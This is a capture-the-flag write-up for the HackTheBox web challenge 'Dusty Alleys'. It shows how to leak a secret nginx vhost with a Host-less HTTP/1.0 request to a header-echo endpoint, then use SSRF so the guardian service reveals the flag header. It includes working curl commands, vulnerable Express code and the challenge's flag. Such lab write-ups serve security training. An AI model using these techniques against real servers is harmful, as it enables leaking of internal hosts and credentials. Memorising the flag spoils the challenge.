Note
The /guardian route only exists on the random guardian.<SECRET_ALLEY> vhost. Leak the domain by sending an HTTP/1.0 request with no Host header so nginx's default_server reflects alley.<SECRET_ALLEY> via the header-echo /think endpoint. Then call /guardian?quote=http://localhost:1337/think — guardian fetches that URL with the flag in a Key request header, and /think echoes all headers, exposing the flag.
Dusty Alleys — leak the secret vhost, then SSRF the guardian's flag header
Platform: HackTheBox · Category: Web (server-side) · Stack: nginx (name-based vhosts) + Node/Express (node-fetch)
Challenge overview
nginx serves two virtual hosts under a random base domain $SECRET_ALLEY:
server { listen 80 default_server; server_name alley.$SECRET_ALLEY;
location /alley {...} location /think {...} }
server { server_name guardian.$SECRET_ALLEY;
location /guardian {...} } # only reachable if you know the secret domain
The flag is injected as a request header by the guardian when it fetches a URL. We need to (1) discover the secret domain, then (2) make the guardian fetch a reflector that echoes that header.
Step 1 — leak the secret domain via a Host-less HTTP/1.0 request
/think simply echoes the request headers:
router.get("/think", async (req, res) => res.json(req.headers));
HTTP/1.1 requires a Host, but HTTP/1.0 does not — omit it and nginx falls back to the
default_server, whose server_name is alley.$SECRET_ALLEY. The reflected host reveals the base
domain:
curl --http1.0 -H "Host:" -v http://target:PORT/think
# {"host":"alley.firstalleyontheleft.com", ...}
Now we know the suffix firstalleyontheleft.com, so the guardian vhost is
guardian.firstalleyontheleft.com.
Step 2 — SSRF the guardian into echoing its own flag header
/guardian fetches an attacker URL, attaching the flag as a Key header, but only if the URL's
hostname ends with localhost:
const location = new URL(quote);
if (!direction.endsWith("localhost") && direction !== "localhost") return ...forbidden;
let result = await node_fetch(quote, { headers: { Key: process.env.FLAG } }).then(r => r.text());
res.send(result);
Point it at the header-reflecting /think on localhost. The guardian fetches it (sending
Key: HTB{...}), /think echoes every header straight back, and the guardian returns that body to us:
curl -H "Host: guardian.firstalleyontheleft.com" \
"http://target:PORT/guardian?quote=http://localhost:1337/think"
# {"key":"HTB{DUsT_1n_my_3y3s_l33t}","host":"localhost:1337", ...}
Flag: HTB{DUsT_1n_my_3y3s_l33t}
Takeaways (generalized techniques)
default_server+ Host-less HTTP/1.0 leaks the configuredserver_name. When routing depends on a secret vhost, send--http1.0with noHostand read it back from any header-echo endpoint — nginx discloses the default server name.- An endpoint that echoes request headers + a fetcher that injects a secret header = self-SSRF
exfil. If a server attaches credentials/flags as headers to outbound requests, aim it at a reflector
(same host,
/think-style) to read those headers in the response. - Hostname allowlists checked with
endsWith("localhost")are easy to satisfy with the literal internal target (http://localhost:1337/...) — the SSRF guard is about where, but the bug is what header travels along.
Sources & references
- Challenge source:
hackthebox/web/dusty_alleys - nginx
server_name/ default_server: https://nginx.org/en/docs/http/server_names.html